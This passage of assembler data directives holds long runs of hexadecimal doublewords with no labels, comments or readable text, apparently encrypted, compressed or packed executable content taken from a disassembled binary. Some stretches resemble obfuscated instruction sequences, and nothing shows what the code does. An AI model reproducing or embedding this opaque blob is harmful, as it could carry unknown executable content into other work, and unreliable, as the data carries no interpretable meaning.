		dd 40CDF9FFh, 276D6E9Ah, 5711C6BBh, 710FFC40h, 39A5123Eh
		dd 577B1833h, 0F96991D0h, 0FBC18B5Eh, 0F42B60B7h, 0EB60BB01h
		dd 480AAFD2h, 9B01FAFDh, 43F059ACh, 50F9FAFDh, 36EB1E16h
		dd 953FE657h, 0FFh, 23696EA9h, 946499D8h, 18B90233h, 0C8CC08FCh
		dd 2564F542h, 0D482CEBEh, 2E51B4E1h, 553ED2B9h,	8D15C42h
		dd 1879E3AFh, 298E31FCh, 0FC187528h, 363982F9h,	8105F1C1h
		dd 1E84F17Ah, 8ECF68EBh, 47FC1875h, 0BB86D434h,	0CD3AAE41h
		dd 68475FCh, 2B050AE7h,	9998E3AFh, 18FC3F30h, 2C99D6FCh
		dd 41BEFCFDh, 0AF2179DEh, 374001FAh, 0EFB228Ch,	0F156C946h
		dd 0F9FA1440h, 0FA6DDA91h, 0FEC2387Bh, 0FA14EC6Dh, 7D4E25F9h
		dd 8DA1AEA9h, 9220DB9Ah, 0D561C649h, 0D7041FC4h, 825B6194h
		dd 79382F04h, 0D1903E84h, 1419662Ch, 97FE7CC2h,	0AD593F2h
		dd 17C10000h, 0C2327793h, 7169D8C6h, 15C0A12Dh,	0C5360B97h
		dd 0BDA4D3FFh, 29B5FBE0h, 0F713A158h, 5E4448B2h, 22A8EEEBh
		dd 0F566C322h, 2CF9FF2Bh, 6D6EA561h, 11C6BB27h,	358D5581h
		dd 0A58C0ED0h, 5EC13E6Bh, 35F97ADFh, 5328FC18h,	6ED69C8Ah
		dd 59D82369h, 66D9DF16h, 0D29D2E72h, 707B6725h,	948FFD3h
		dd 0B2FDCED4h, 0FABA5115h, 0A8F34801h, 0FAB9B3CFh, 4E26A0F9h
		dd 0E60F06DBh, 717A53Fh, 0AE990000h, 45A0EEEFh,	51FEB710h
		dd 3D6DCA7Dh, 5401FADFh, 2858C1Fh, 0FA9FB4A5h, 0B5166DF9h
		dd 0FA9FD76Ch, 0B282C4F9h, 0E635A27Fh, 6E7093Fh, 183D0000h
		dd 77D0577Bh, 1FAD3FFh,	0D38D4A0Dh, 6EC7A690h, 13B4E179h
		dd 7B49B2F7h, 2F7EAB20h, 0F5B12564h, 3F68BD4h, 16C4F9FAh
		dd 5F0738Ah, 6CCE6487h,	41C02098h, 10F62FC8h, 0C6398476h
		dd 0FB708B11h, 58C78E2h, 3FE6ACC8h, 0EAB62265h,	0E0A45093h
		dd 8EED12ABh, 0D1000006h, 0AAEEEFAEh, 0DE1F6E2Ah, 785861h
		dd 7A36A1E0h, 0E5C63381h, 0B029070Ch, 0ED5A93EAh, 0C359DD7Ah
		dd 0B1F001FAh, 0D4144145h, 0D345D255h, 1C5E5C73h, 0AE4F0059h
		dd 6386F9FAh, 0FAAE95C6h, 0BAF74CF9h, 0F4B2D821h, 5BF88DCFh
		dd 0F57F077h, 6900D9Eh,	78E5D229h, 0EA74D554h, 3E962394h
		dd 18591ABFh, 0B98861A3h, 0BC0D7A40h, 81B8CD6Eh, 0A4833383h
		dd 3679F86Fh, 4F1024C4h, 8FAD1467h, 3982CB52h, 0DFFBC136h
		dd 0ACF2EBAAh, 0E5A3541Bh, 88AB8F98h, 0BC87E26Ch, 933h
		dd 0D1FDB93Fh, 0BA206490h, 38F13C7h, 0D5F1B73Eh, 0BD596794h
		dd 9D5E5F06h, 43B68B17h, 0EA10517Dh, 904938A6h,	0A1C08C0Ah
		dd 0FF2D5718h, 47878EF9h, 0D823696Eh, 0C071D659h, 11FC18B9h
		dd 0D182275Ah, 0FC18B9h, 0B4D9922Bh, 26489190h,	0F9020049h
		dd 7EC30482h, 46F9FF29h, 914A0D74h, 42B7BA03h, 5882C544h
		dd 85843154h, 0FF283324h, 3495E2F9h, 0CAFA6556h, 0F455D457h
		dd 0F9FF2843h, 5559069Fh, 262C1557h, 2E177049h,	0E7F9FFB7h
		dd 5F27D88h, 0A7E61B87h, 0DB106B2Fh, 0B7B4B902h, 5486F9FFh
		dd 0D2159342h, 0D4016428h, 2DA9E89Fh, 0D91269h,	0F4B2271Ah
		dd 0A7BBC891h, 66E0F9FFh, 7B77E08Eh, 0BBD588A6h, 0A92E11AAh
		dd 5582E7E3h, 0D66B3457h, 0E4F9FEBCh, 125DA8F4h, 7646A5E3h
		dd 2ABC04F0h, 67265420h, 0F5B32276h, 9DE82596h,	17C08F58h
		dd 27AFEE91h, 1D4C5A63h, 136h, 23696E21h, 71D659D8h, 0FC18B9C0h
		dd 0DE815A11h, 0AE91901Ch, 5EEA6329h, 0ED062136h, 200914B5h
		dd 0FC18BF2Fh, 6322BC3Dh, 6BFB08C0h, 0CA515F9Ah, 8C1F5481h
		dd 9612C285h, 0CE5C677h, 2EA6E907h, 81DA136Ah, 0FC18CCD0h
		dd 26291D0Ch, 0FF9B9EACh, 73D44B80h, 2001BE3h, 0EC4F9932h
		dd 0C6623910h, 900D6C89h, 0D18045Ch, 7CA22h, 6622D400h
		dd 0C9CD0978h, 307C7CCDh, 9A20D7AAh, 0C2D00D7Ch, 0F7C8AFC4h
		dd 2F12B806h, 89F8E6ACh, 0FE434F53h, 2F17B3F9h,	2CC071D6h
		dd 6C11F9FFh, 23696EAEh, 546499D8h, 0C788D1A1h,	1EFC18B9h
		dd 2491F421h, 5C9EE3EFh, 2F74A50h, 1441478Eh, 7C42BB8Eh
		dd 0D4BE5CCDh, 0E4E99A5h, 6CBDBE1Bh, 1F54FC18h,	0BF3CA7CEh
		dd 0DE18AAF1h, 576398E6h, 0C788D19Fh, 1EFC186Ch, 2491F421h
		dd 68A5E3EFh, 0C73A04E8h, 7, 0AF8EFBh, 6EB40000h, 7FD82369h
		dd 0FC18C9C2h, 0B3FD6A97h, 859AEC5Eh, 0D2A2AC3Dh, 32357364h
		dd 152516B3h, 87FCFC18h, 1C052F96h, 5F68F7ABh, 0B804F64Bh
		dd 456E046Dh, 0E543FC18h, 6B37A511h, 0EFAE616Fh, 0A8B47AECh
		dd 6614CDF7h, 4099D229h, 0B4D7DB01h, 4D4B8ACDh,	8B4ABD3Eh
		dd 47B5BC0Dh, 5785C47Bh, 0DFE5144Bh, 6DCF670Eh,	0CD6AED99h
		dd 0FC18768Ch, 2D1D3245h, 6092D772h, 2DAF922Bh,	1D69FE61h
		dd 0AF8D6EDEh, 70F19536h, 3BE768F1h, 413EFC18h,	43581F78h
		dd 0C62CFC18h, 3A04990Ch
		dd 7B3E28A1h, 5494AFCDh, 0FE5F0E73h, 8E30FFFFh,	351h, 23696EB4h
		dd 0B9F27FD8h, 0B8A2FC18h, 0FDFFBECCh, 2D783EBBh, 0E76A73A8h
		dd 9B2EB4F2h, 609422D8h, 5F9CEF24h, 9016C38Eh, 0B9272C75h
		dd 0C435FC18h, 0B9AAAB0Ch, 0C7BFC18h, 6ED150D7h, 92DB2266h
		dd 18B988C9h, 0D9E259FCh, 0F4D845B2h, 0FBC93275h, 781ABFE2h
		dd 0AB020049h, 8F7C57DCh, 0BACF045Ch, 62ADBh, 0C6C23400h
		dd 296D69D8h, 901CDCADh, 0FAC0370Ah, 22706DDCh,	57680FA4h
		dd 8FF218A6h, 0E958464Ch, 5E23AFF3h, 0CFF71399h, 2E2011B6h
		dd 8CF1F9FFh, 0FF696E4Eh, 53E206B5h, 7C8FC4E9h,	1CBA08F5h
		dd 622EAAEDh, 0D1E11659h, 0E1B6228h, 545F48E4h,	3562DF9Dh
		dd 9D23D8A9h, 8816C70Eh, 8F67C17Dh, 0EEF4BA23h,	4A36DA0h
		dd 5C81C03Ah, 67C8E48Ah, 60DD91E2h, 273DA47h, 0AEEC0000h
		dd 1BACEAEFh, 0FC0F3F22h, 7B88893h, 8D79FFFBh, 0F30EC71Ah
		dd 2576438h, 185E0000h,	75D25579h, 0FC18B9C4h, 7AC7261Dh
		dd 0FB07B8D3h, 88B68EC8h, 8FBCD01Fh, 0D7F0B50Fh, 0F23B7E53h
		dd 0BAC2F38h, 2F69D4Ah,	7D7DAC9Bh, 5861EA31h, 220DBh, 7918EF00h
		dd 0D91D9B5Fh, 342B60DDh, 18B9A693h, 0E2F364FCh, 1691A969h
		dd 32099D2Eh, 0F0E9A8EBh, 0C11A53AAh, 773DD78h,	0B88CCAFBh
		dd 0F3D99C71h, 1EB3338h, 0D8C0000h, 0F77BABACh,	0CF077A02h
		dd 4EEB9ECBh, 2F77B0Dh,	685E6FC4h, 0D2557918h, 18B9CC75h
		dd 975F1EFCh, 7A438813h, 3B3C9D2Ch, 0EAFC18B9h,	5AC5209Dh
		dd 9A65A1CDh, 79426CC9h, 77D7510h, 10E462FBh, 0F16CF562h
		dd 0CE79327h, 19528FBBh, 96F938F3h, 0CD000001h,	0B2FF39AEh
		dd 38AB9320h, 7B37A0AFh, 63E8337Fh, 6B6CD736h, 0A9B6A12Dh
		dd 51258285h, 4801FA9Eh, 0A6E9A8F3h, 6FDBB434h,	7419DFB4h
		dd 5E6FEC3Fh, 0FA7378F5h, 19ED6BF9h, 0E6D93B96h, 28D3923Fh
		dd 0DA216790h, 1E832491h, 37h, 95020E9Bh, 517F92BDh, 7B18B288h
		dd 0EE51D057h, 1546A5EBh, 0D1EB6BB4h, 913A01FAh, 4EC76594h
		dd 0B1D401A8h, 0FAF25BE8h, 360E48F9h, 0E65E1EF3h, 0DC8D3Fh
		dd 6EB10000h, 47CCFF69h, 2BD7504Bh, 0B724AFFEh,	0A65392E9h
		dd 9D5A85E0h, 0CF4EF31Fh, 18E3E96Ah, 230135FCh,	0CCB02B0Ah
		dd 77D0E946h, 0FC18CD8Bh, 2AD0E019h, 99D60766h,	0B52467E6h
		dd 0E5F9CEFh, 0FC18C14Dh, 81EAF84h, 0B324C24Fh,	3254A0BFh
		dd 0F364C58Fh, 22FC18EBh, 0D9E71255h, 0ADDC0942h, 0FD3BE80Ch
		dd 0D9482701h, 0DAE01756h, 0DD9D5E01h, 0FDBBFB7Ch, 0E05D2AF9h
		dd 0D70447FAh, 738A18C3h, 0A05A8DFAh, 5784CB1Ch, 1D012C49h
		dd 1174045Fh, 3BE4Eh, 6A2EA800h, 0DDD91D6Ch, 4887031h
		dd 6E2CAB9Eh, 0D6DC0160h, 0CBD4B3C8h, 23068C12h, 9DECEAB8h
		dd 0F2B7535Fh, 5B1B8705h, 20CC8D2Ah, 1805F9FFh,	276D6ED2h
		dd 8B11C6BBh, 0D4FB0394h, 8E64C1B0h, 0AA0A918Dh, 0D9C502h
		dd 696E5C1Ah, 6099D823h, 172BBC5Ah, 53FC18B9h, 0E4671ACEh
		dd 2EB36973h, 4A502FEh,	0FAF787BBh, 0DE1B6E01h,	0D3084DD8h
		dd 0CB8C2DACh, 1AF9FAF7h, 9DE8B627h, 0CCDAE358h, 0FF696E06h
		dd 3E602C33h, 1668E123h, 2CF87511h, 0C80B92CFh,	4B57830Fh
		dd 5AC7F01Eh, 44B0F376h, 0D00D8B4Ah, 4D470851h,	0A19EFC18h
		dd 5A309918h, 0BD01FA2Ch, 3DD643C6h, 63670AD9h,	0B39CA700h
		dd 0F9FB07BEh, 2CADECADh, 0FCC23B6Eh, 0D39B2CA9h, 0CD71ACE3h
		dd 2BDE3FE7h, 0E0000000h, 995D7B18h, 8CCD6A1Dh,	45FC18B9h
		dd 298EB1EEh, 1FAD129h,	1F7883F8h, 0F9FAA162h, 88FFF771h
		dd 3FE62B55h, 0E0FAh, 696ECC00h, 0D659D823h, 0CC5F6397h
		dd 0B9BDBE8Fh, 1F54FC18h, 545A83CEh, 43498E31h,	7A40B938h
		dd 0E8D452C7h, 91B5DE87h, 5095248h, 97FC18D5h, 0CBBE2462h
		dd 0D699880Eh, 3A419A1Eh, 0FD6C40CDh, 0FAB84A5Ch, 8EE501h
		dd 63E6CA57h, 1FE148C6h, 9594E304h, 0E4AA5312h,	0CC735481h
		dd 0DF9E810Fh, 5248911Dh, 5BA0EEEFh, 0FE7CDE64h, 48036207h
		dd 52000002h, 87FAE0A4h, 0FA4F4B4Fh, 5514B2FEh,	8BFEE4A2h
		dd 29464C52h, 3A88754Ah, 602EAD9Ch, 0C9D5077Ah,	3D7B7CCDh
		dd 0F354AD91h, 0F9FF2242h, 6E289293h, 0E1AD2D6Dh, 7F2B5B4h
		dd 9DD990B9h, 9893DF7Ah, 67265B4Fh, 1859FE72h, 0C9FC18E4h
		dd 0BDA40572h, 0D1507E3Ch, 0E44809AEh, 2582FC18h, 0FC18E434h
		dd 0B38896EDh, 0EE92799Ah, 5D6E93C5h, 0E7EFAE69h, 306D31A9h
		dd 6E4760D5h, 0FD5ACDE1h, 1FAD17Dh, 3B510394h, 6608DE6h
		dd 58D5B2C9h, 6AF9FA28h, 9BDA216Fh, 0B5C95C62h,	0ABFD4333h
		dd 0FBD6592Dh, 523FE6A4h, 0DF0154C5h, 1514B48Bh, 0FA8483B4h
		dd 0C4E552F9h, 0C55Fh, 844FD800h, 0ADF333E2h, 6E876344h
		dd 99D82369h, 682B5E64h, 0F590296Fh, 18BEE6ACh,	8705F2FCh
		dd 0EBB1261Bh, 0E354F574h, 32FC18BCh, 0E0D96445h, 59D84F63h
		dd 6BC1CCC0h, 0DCED5E4Ah, 0FA549373h, 777FC201h, 87FCC239h
		dd 868B4C4Ah, 671ABFA2h, 8E041FC8h, 2D783EBBh, 8DCC73A8h
		dd 0E5444250h, 844DAAF8h, 7FE7CCCh, 1210362h, 0CB0D0000h
		dd 767EC3CFh, 25D59432h, 0C90C7D99h, 7962C7C3h,	7110AF2Bh
		dd 0E5E1AF2Ch, 434F5584h, 2AB0FCFEh, 0FEE4A257h, 292A8FF6h
		dd 0F8F9FF25h, 0EFAE71B5h, 1358A3E7h, 0B98ACB6Ch, 0EC5BFC18h
		dd 596794DBh, 8D0BCCBDh, 0ED250D9Ah, 20305F1Eh,	3F7E8387h
		dd 2697F6BCh, 2FAEA185h, 18B9C98Ah, 40E918FCh, 0FC18B90Fh
		dd 0AB3C69C6h, 167533A4h, 0A4BEC6Fh, 0DBFC18B9h, 0F2C03D6Ch
		dd 0D69922ABh, 47085121h, 45FC18B9h, 360D0995h,	751ADDF9h
		dd 3AAF2E51h, 3730426Bh, 5AA304DFh, 2000D44h, 0CA7590EFh
		dd 0C800530Dh, 6E5A9557h, 0ADF8BE3Bh, 52D7F328h, 29CF7EC5h
		dd 0C6E78F48h, 0CD585E9Bh, 0B69A2364h, 52C74A58h, 8F3D761Ah
		dd 0CB7354EEh, 0C90C4FFBh, 8277FAC3h, 99420504h, 95D4B20Bh
		dd 9CC72664h, 0EEC85359h, 63E29064h, 38BA95C6h,	0FA2B4C9Bh
		dd 95530172h, 77FAC338h, 0AB9E0482h, 76F9682Eh,	38E560D1h
		dd 0E1FAB19Bh, 0F4EDB5Ah, 68902CAAh, 84F922Bh, 0CC000000h
		dd 67404E8Dh, 6E9DA783h, 96D92C68h, 81C05B61h, 8D34575Bh
		dd 0BA25404Eh, 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h
		dd 0F2788307h, 8904EC83h, 0E2892414h, 4C281h, 0EA830000h
		dd 24148704h, 6EF6685Ch, 0C890000h, 3E116824h, 3C890000h
		dd 0D6685224h, 5A697168h, 762768B9h, 5AD1019Ch,	243C8B54h
		dd 6804C483h, 5DA3h, 8F240C89h,	3C8B0847h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 592434FFh,	4C481h
		dd 0E90000h, 90FFFAE2h,	0D6A24A54h, 6CE3AACAh, 0E79DA9B8h
		dd 0FFC50305h, 6A7DCDE0h, 114CCC12h, 0DF0B166Bh, 0A62D965Eh
		dd 2B85BE4Eh, 88CC7F64h, 6FF7A12Eh, 46017D16h, 34D94932h
		dd 1A750129h, 0A7BD2121h, 4619D1Ch, 0DDC53559h,	0D799211Eh
		dd 8E75897Dh, 0DD62562Bh, 176B1070h, 0D771E7Eh,	0B464B744h
		dd 0FCE41A2Ah, 68521556h, 98540C37h, 0CC588507h, 0DCF15966h
		dd 0D0A3073Fh, 0C55DB347h, 51F68435h, 0E6BDF859h, 0FE831h
		dd 209D0000h, 6E2100F5h, 97D27697h, 0CE0DD1CAh,	5F77B6CEh
		dd 7ABE6653h, 0C7815E87h, 5DC5h, 0EA81C02Bh, 39DABC0Fh
		dd 663834FFh, 8159DA8Bh, 2A82B5F1h, 0DAE98119h,	0E83C41E2h
		dd 0Bh,	16A50C35h, 65967F3Dh
		dd 81F1E93Fh, 7AF1F0C2h, 0E9815E06h, 2F3556D1h,	51D9B70Fh
		dd 21BF6660h, 0CCD981A5h, 61202BB8h, 6607048Fh,	0DAC3E681h
		dd 6004E883h, 0D281F08Ah, 7E2D8B2Dh, 0C0F88161h, 0FFFFFA2h
		dd 0FFFF9F85h, 0EBA9B3FFh, 2Dh,	0AE0DD000h, 0F2319CBFh
		dd 0A5ADF9DFh, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 8168009Dh, 0BD146726h, 42F503B2h, 0E9E94A1Ah, 6800000Ah
		dd 5E7A093h, 0FAE0B2E9h, 0A20368FFh, 0A8E905E7h, 68FFFAE0h
		dd 5E7A2F1h, 0FAE09EE9h, 0A3AB68FFh, 94E905E7h,	68FFFAE0h
		dd 5E7A457h, 0FAE08AE9h, 0A51468FFh, 80E905E7h,	68FFFAE0h
		dd 5E7A5B0h, 0FAE076E9h, 0A7AA68FFh, 6CE905E7h,	68FFFAE0h
		dd 5E7A8C3h, 0FAE062E9h, 9E1ADCFFh, 0C1C53170h,	287464C5h
		dd 9218DFA2h, 0FAC83574h, 0FFC0A7DCh, 572AB0FEh, 0B1F01EA4h
		dd 0E65B474Bh, 272FABF1h, 26F879DEh, 6429F9FFh,	577B18A6h
		dd 45EA47D0h, 0E4FE67B9h, 0B9FB5CC3h, 0D402007Bh, 0C05B6795h
		dd 233948Bh, 0D3F9FF7Bh, 79382F64h, 6D9C3A80h, 9AE1AF2Ah
		dd 9E0B3851h, 4AB0CD1Ch, 8309CE71h, 0AE828F78h,	0B9FFF8BBh
		dd 0FF7EE120h, 0FF3A195Ah, 6A73C8F9h, 0E7DBB601h, 47B5F407h
		dd 35A1207Bh, 67A30471h, 17961908h, 0D79B81B2h,	0C21B50F7h
		dd 31965A9Fh, 0F7D79B00h, 596A02DCh, 0D5718EBAh, 0C4A5219Eh
		dd 0D3929513h, 0CA039A28h, 815A6097h, 2C000DFAh, 765E9C3Dh
		dd 6BEA0A35h, 0A9798DCEh, 79FA5FEDh, 0A8EDA979h, 0EFF8B7D3h
		dd 0CEA7CCBBh, 91F8926Eh, 900ADF4h, 0FBFD0000h,	0A62E13BFh
		dd 5585E4E2h, 0F9FC4D49h, 0A95217B3h, 0A140FF1Bh, 35D1DF1Ch
		dd 933F8574h, 7A602CAEh, 0CED4D207h, 195AFF06h,	0C8F9FF19h
		dd 696E8145h, 6099D823h, 0A821FB86h, 4C884C2Dh,	43B83D48h
		dd 42CF8816h, 785EFB6Eh, 9301FA4Fh, 9FDE41A4h, 0EF3A5357h
		dd 6BD7B4B3h, 7DF25B6Ch, 6EF9FA01h, 2D6B6C2Fh, 24C9DDEh
		dd 95450432h, 0B1420009h, 0B9A83271h, 5AC71A20h, 38643FE6h
		dd 5E000000h, 9F5D7B18h, 16438813h, 2E0E8613h, 426DCD19h
		dd 0A1913679h, 7001FAA5h, 0EA87E03Bh, 0F9F9FA35h, 0CD00877Fh
		dd 603FE69Fh, 391758E1h, 71CEF9FAh, 0FF2B68h, 6E1F0000h
		dd 0BD3C2369h, 18B95B1Ch, 0E1A551FCh, 96BD0E65h, 8D2AAE2Fh
		dd 0FC18B9CCh, 9E3B2E05h, 0FC18B9DDh, 0BBC23F74h, 0C7906FF8h
		dd 0E4FE45EFh, 185DA8F4h, 317F7CA3h, 6A30A9A8h,	0AB27D013h
		dd 189A4D0Eh, 34A584FCh, 69A61776h, 2D8A0D3Ch, 0FC189A2Ch
		dd 693D8EE5h, 8604FD8h,	93D910DFh, 0E549E14Ah, 7663FC18h
		dd 298E3130h, 0FC18E528h, 6D3982F9h, 4EDDDB1Ch,	495784C7h
		dd 9346B932h, 5EC3BC0Dh, 3852F76Ah, 6B01FAB6h, 62DFE516h
		dd 0FAEE7364h, 0E147E247h, 0C1BE041Fh, 0D0DE1F5Eh, 328677CAh
		dd 0E7B625C7h, 0F69F69B1h, 48274CB9h, 2BFE7CAAh, 790F75Eh
		dd 6B6D0000h, 16DEA32Fh, 0C5357492h, 696CDDF9h,	19C2A723h
		dd 11F00F8Bh, 45414F8Ch, 23AFF5E4h, 8A109C5Eh, 5E4442B7h
		dd 89CA6F96h, 58F9FF1Bh, 6D6E11D5h, 9106BB27h, 0FCEC2E6Bh
		dd 7168DFA3h, 4A93D823h, 0CED4D207h, 577B1800h,	0E7EE51D0h
		dd 7EDB5AA1h, 0FC18B9FDh, 0D9E25F14h, 0FAD1FE70h, 8C4B0A01h
		dd 1269BD0Eh, 0ECA82C6Fh, 5AD7B0DBh, 49F9FAA1h,	480B370Fh
		dd 1EDD0C90h, 0DE333790h, 4D3FE62Bh, 0C4h, 23696E71h, 5E6499D8h
		dd 0BDC862CFh, 0F7E0FC18h, 0A35415B1h, 0B4F562E5h, 4E548991h
		dd 0F0EF13CDh, 0EE734CD7h, 0A8E247FAh, 0C001FA1Eh, 0CA515581h
		dd 95E23881h, 0E7C14E09h, 1B50ABEFh, 7938BBAEh,	0A5C5E383h
		dd 0AC2F0BAAh, 690D5677h, 0A0041E9Bh, 0E81554CBh, 2B6024D0h
		dd 9321DAAFh, 7B8C6316h, 301376FEh, 6A2h, 0B15D599Fh, 1A8004F0h
		dd 0E3EFB327h, 0B551579Eh, 1DB907F4h, 3DBEFFE6h, 0E3166B77h
		dd 8A7031DDh, 30A99806h, 1606C6Ah, 0FF1BB7B8h, 0E7276EF9h
		dd 0C98A2FAEh, 18FC18B9h, 26D79A23h, 4E70E998h,	6EFDCD6Dh
		dd 0F4216790h, 2D7846B5h, 360B1FA8h, 0A7A831C1h, 7EFC183Bh
		dd 0CED401h, 0AE29696Eh, 29589DE8h, 18B9CF80h, 0FC2906FCh
		dd 0E1B126A9h, 5945B2F8h, 4F00A928h, 86FC18B9h,	66DCA0A9h
		dd 4A7DD19Bh, 0D1B2871h, 325FFC18h, 74CE6B1Eh, 9F0200ECh
		dd 0F9FEA1A0h, 0A55217B3h, 0DA9D84E7h, 744D9E1Ah, 0E344FBEFh
		dd 412B887h, 0AF6481FEh, 7AFE79A7h, 5E8442Fh, 13C50000h
		dd 0BE360B97h, 6D6DDCFAh, 11C4A521h, 0C13A0F8Bh, 0B958D7F3h
		dd 2DA9F7E4h, 8B179D5Ch, 527844B6h, 26ACEAEFh, 0F162C73Eh
		dd 20F9FF1Ah, 696EB97Dh, 6099D823h, 9B3C35Ah, 8208F13Dh
		dd 921EDC9Fh, 0AD2C5D49h, 18B94B0Ch, 179B41FCh,	9FAB3C0Bh
		dd 3A041342h, 7E9h, 3E8EDD00h, 0B4000001h, 18B9FB88h, 914609FCh
		dd 54F9B20Bh, 0D94EF170h, 2817C954h, 99E2FBD2h,	2000936h
		dd 3E61E05Fh, 0FD67F0BCh, 4FA36AF2h, 3D7CA304h,	91D0FEBCh
		dd 0EEDB2268h, 7DDA4D61h, 41D7809h, 1FEE0B60h, 12FE7A68h
		dd 53C2C77h, 0BF390000h, 6A6ADFFBh, 19C1A02Eh, 0BD380995h
		dd 6D6ED3FFh, 650CBB27h, 0F11DA358h, 5F7B49B0h,	26ACF0EAh
		dd 8A109643h, 5D1EBBCAh, 0F4F9FF1Dh, 696E4D89h,	1659D823h
		dd 5E01DADEh, 7A881399h, 0F77604F0h, 2D7844B4h,	0B9DE9FA8h
		dd 3877FC18h, 7137A0AFh, 4C4A8FCEh, 8D1AAF7Bh, 8A995F9Eh
		dd 82B8011Ah, 3A04DA4Fh, 7FCh, 828EC600h, 0B4000000h, 0D0577B18h
		dd 580577h, 7CE35802h, 0D0FEBC3Dh, 0DB226891h, 0DA4D61EEh
		dd 0E7C71A7Dh, 5047307h, 8B179542h, 867141B6h, 3B70E500h
		dd 260A17E0h, 0ED508623h, 608B0A35h, 0FF33D644h, 1693C8FCh
		dd 0F892F891h, 7FAAF590h, 7A000004h, 0AF92387Ch, 2676327h
		dd 7DCCCAD6h, 0D3963C7Ah, 0C17E642Ah, 52609D22h, 0B806F5B4h
		dd 0E1AD2F12h, 555384E5h, 0DB7C8549h, 0F9FF1C9Ah, 8E00CA4Bh
		dd 10Eh, 577B18B4h, 580577D0h, 0E9580200h, 1952A9EDh, 106B31A6h
		dd 0B8FB6EDBh, 0EC5D793Fh, 0D75EADEBh, 0F8F10942h, 0B99AB301h
		dd 9069720Bh, 0FA8DFF3h, 7E740A8h, 109396EDh, 0E074891h
		dd 61DEF7D6h, 0DAE01958h, 0D28C4D3Ch, 0FE0BEA48h, 0D92C999Ah
		dd 0D84F63E0h, 349B7B7Fh, 58A5920Ah, 0F893CBF1h, 0E38ED1B4h
		dd 0DE000003h, 33769C18h, 66DBC7C3h, 0C1A02E72h, 370A9016h
		dd 0A5D2F8C6h, 0B6FCE1BEh, 1CA25928h, 4549B3F6h, 0A9EFE859h
		dd 67C0212Dh, 0F9FF1CF6h, 6EA4662Fh, 99D82369h,	0B3C35A60h
		dd 98313D09h, 3B7134F2h, 0A6B9DC37h, 408CDD7Eh,	5AF778C1h
		dd 512EFC18h, 5B9CC3E4h, 16CBB15Dh, 0B73A04F6h,	2FB804F4h
		dd 41E2h, 7B18C400h, 3851D057h,	8FAD20FEh, 4A933489h, 1FB5DF7h
		dd 14984205h, 276344F1h, 0DC099742h, 0A2EEEAADh, 0BDFDFCBFh
		dd 0AE2F7E3Ch, 29B26871h, 0F9FA1D15h, 0EEF4B227h, 0C8535F9Bh
		dd 33D69h, 6C6E9D00h, 0CD5AC520h, 16C2972Bh, 51FA738Ah
		dd 0B8AF47E0h, 18225E1Fh, 2FB8F7FCh, 0D5F1B720h, 0C6256394h
		dd 0B65C5A9Fh, 0B5B49885h, 0FA434614h, 9BE25901h, 0FA0081BEh
		dd 605492F9h, 0E6C8F429h, 695B3Fh, 0AE6F0000h, 5BA2E8EFh
		dd 53F0C912h, 0C8058175h, 0D17EF059h, 0DA9101FAh, 5681C043h
		dd 112E7750h, 23F9FAA1h, 0C5D2AB4h, 5AD07122h, 0A4579EEDh
		dd 0C5878F1Eh, 0FF798FF1h, 0BF387B07h, 2029A2F9h, 4F17C1E8h
		dd 6307A0E6h
		dd 3FE61EAEh, 129E5C1Fh, 2E2F888Bh, 0E7F9FABEh,	0EDEC5388h
		dd 19906A7h, 16000001h,	831AA057h, 6EB5714Ah, 0BD3C2369h
		dd 18B95B1Ch, 4ABD8AFCh, 90BB0C90h, 87E6AC51h, 8E1D9B5Ch
		dd 8E149247h, 18BD255Dh, 0A4E217FCh, 88E4B3Eh, 211F04FDh
		dd 0ED94F7BBh, 18BD0B4Ch, 306DDAFCh, 23E344FBh,	5201FAD3h
		dd 76A3E7EFh, 5E96D968h, 0ABA8815Ah, 0EB278087h, 19041F4Dh
		dd 6D003196h, 5FDCF7DEh, 4FCFF8EFh, 10A9868Ch, 0CB8ABD8Ah
		dd 3415012h, 0C54F9212h, 6DEEB479h, 6A907DBDh, 5996C726h
		dd 61EC7DECh, 9D5E1A9Ah, 0C9F96681h, 0E05DF1BEh, 7D7EC3C7h
		dd 491B5CFDh, 7DCAF7DEh, 3F48FB00h, 7613FE7Dh, 1E92Fh
		dd 9612C400h, 0F9BD3908h, 206C6CDDh, 8A10C7BAh,	0F2C03D0Ch
		dd 0E7B85FD4h, 5F22A8F6h, 0B988169Ch, 0EE537F43h, 3F27A3E9h
		dd 1EF061C6h, 7C21F9FFh, 0D739AEBEh, 53599E96h,	0AE8A83C8h
		dd 52CC4D41h, 7B7E9B7h,	0CF0C3394h, 7364C5C1h, 5918A935h
		dd 0FFCB1CA2h, 0D0577B18h, 0DB226891h, 61C64992h, 1FAD1F1h
		dd 57304B20h, 0F9FAA1DAh, 8BB78FC9h, 3D8E12C8h,	0E62BD409h
		dd 0E47B3Fh, 6E4F0000h,	0ECB22969h, 0F0ED54B7h,	4FD85BA2h
		dd 0C9331D56h, 1AC854C5h, 9218A53h, 0E3FC187Ah,	147735A0h
		dd 9E5B06A7h, 4A8FF218h, 3776394Ch, 0A7A831BFh,	7EFC1872h
		dd 6195D401h, 3495C625h, 4FF2D67Bh, 0B8C3C90Ch,	0C267AA33h
		dd 1FA1CC0h, 6B9E0473h,	118506FEh, 0F1D1B07Eh, 2F9DBE26h
		dd 1AD3F40Eh, 0BF189B75h, 0F9FA6ABEh, 0E4F1857h, 0C7F9FA6Ah
		dd 4D0C3368h, 71FA018Dh, 0F1802968h, 1F041FBAh,	0C8119F5Ch
		dd 2362E552h, 9BEEF4BAh, 6ED75C62h, 0F1FE7CABh,	0D0CD94h
		dd 2BAD0000h, 0D61E636Fh, 857534D2h, 29AC9D39h,	0D9026763h
		dd 0D1B0CFCBh, 5810FCCh, 0E3EFB524h, 4A505C9Eh,	1E8402F7h
		dd 0C98A2F56h, 18F9FF11h, 0EFAED115h, 612FAAEEh, 2FAC9334h
		dd 3EBFFE61h, 7A01570h,	0F3B93E03h, 696EE9D7h, 9CEFB329h
		dd 0CE8F285Fh, 7FC18B9h, 29A8F328h, 0EBECEAB0h,	7ADF4266h
		dd 2005832h, 5C87E65Dh,	2B6A1D9Bh, 0CBDFE8AEh, 68F18176h
		dd 0F9FF26E7h, 0F114413Eh, 0F13E64A8h, 0DF9A349h, 547238A1h
		dd 47A6E415h, 21D9D91Ch, 90CD0E9Dh, 2564AD75h, 936FE8B6h
		dd 22DE034h, 0B581C912h, 8C0A9049h, 0C9A23CBDh,	0F65FAE3Ah
